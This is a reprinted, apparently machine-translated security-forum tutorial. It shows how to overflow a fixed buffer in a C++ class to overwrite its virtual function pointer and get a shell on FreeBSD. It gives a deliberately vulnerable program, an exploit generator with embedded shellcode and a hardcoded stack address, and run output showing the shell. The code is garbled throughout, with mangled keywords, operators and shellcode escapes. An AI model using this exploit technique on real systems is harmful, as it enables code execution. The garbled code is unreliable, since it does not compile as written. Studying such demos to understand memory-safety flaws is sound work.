[Example] a more practical test of a C ++ overflow virtual function pointer

A more practical test of a C ++ overflow virtual function pointer

Creation Time:
Article attributes: Reprinted
Source: watercloud@nsfocus.com
Article submission: inburst (inburst_at_263.net)

Sender: watercloud, email area: Network Security
Title: a more practical test of a C ++ overflow virtual function pointer
Mailing site: security focus (19:55:55)
First write a program bug. cpp
The getbuff method reads a row from the file bug. conf to the buff without performing a boundary check.
Printbuff is a virtual function.

# Include <iostream. h>
# Include <fstream. h>
# Include <unistd. h>

Class classbase
{
Public:
Char buff [128];

Void getbuff ()
{
Ifstream myin;
Myin. Open ("bug. conf ");
Cout <"get buff from file: Bug. conf" <Endl;
Myin> Buff; // you can see that there are not a few such users!
};
Virtual void printbuffer (void ){};
};

Class classa: Public classbase
{
Public:
Void printbuffer (void)
{
Cout <"name:" <buff <Endl;
};
};

Int main (void)
{
Classa;
Classbase * pA = &;

Cout <& A <Endl;

A. getbuff (); // There is no boundary check in it!
Pa-> printbuffer ();

Return 0;
}
Compile:
Bash-2.05 $ GCC bug. cpp-lstdc ++-O bug
Create a file bug. conf and write a cloud line and run the bug:
Bash-2.05 $./bug
0xbfbffb38
Get buff from file: Bug. conf
Name: cloud
Bash-2.05 $

Read and display the data.

Our next goal is to generate a special bug. conf so that he can execute the code inside to get the machine code!
There are two difficulties in writing an attack program: the starting address of & ??? A. Buff length ???

Of course, this is our own program. The print result above is & A = 0xbfbffb38, of course Len = 128.
It's convenient. If someone else needs to use GDB to tune it!

Let's write an attack program:
Ex. c

# Include <stdio. h>

Char buffer [512], * PC;
Long * PL = (long *) buffer;

Long ex_addr = 0xbfbffb38;
Int ex_buff_len= 128;

Char shellcode [] = "1/xc0ph // Shh/bint [ppss4;/XCD/X80"; // Shellcode For FreeBSD
// You can switch to the shellcode of another platform
Int I;

Int main (void)
{

For (I = 0; I <3; PL [I ++] = 0x41414141 );

PL [3] = ex_addr + 16;

PC = buffer + 16;

Strcpy (PC, shellcode );
PC + = strlen (shellcode );

For (; PC-buffer <ex_buff_len; * PC ++ = 'D ');

PL = (long *) PC;
* PL = ex_addr;
PC + = 4;
* Pc = 0;

Printf ("% s/n", buffer );
Return 0;
}

Compilation: GCC ex. C-o ex
Run display:
Aaaaaaaaaaaah & ucirc; & iquest; 1 & agrave; pH // Shh/bint [ppss4; & Iacute; Role & ucirc;
& Iquest;

Haha, this is a special character we have built. The construction principle is the same as that described in the previous article!
One supplement is that the shellcode I use is for FreeBSD, so the program can only be tested on FreeBSD.
Of course, you can switch to the shellcode of another platform to test it on another platform (but it must be GCC)
Now, start the attack:

Bash-2.05 $./ex> bug. conf
Bash-2.05 $./bug
0xbfbffb38
Get buff from file: Bug. conf
$ <------------ Check that the attack is successful !!!

For more information, see
<Code execution in C ++ by overwriting the virtual function pointer list through overflow>
Http://magazine.nsfocus.com/detail.asp? Id = 1291

_ Watercloud __

--
※Source: · Security Focus Forum www.xfocus.net ·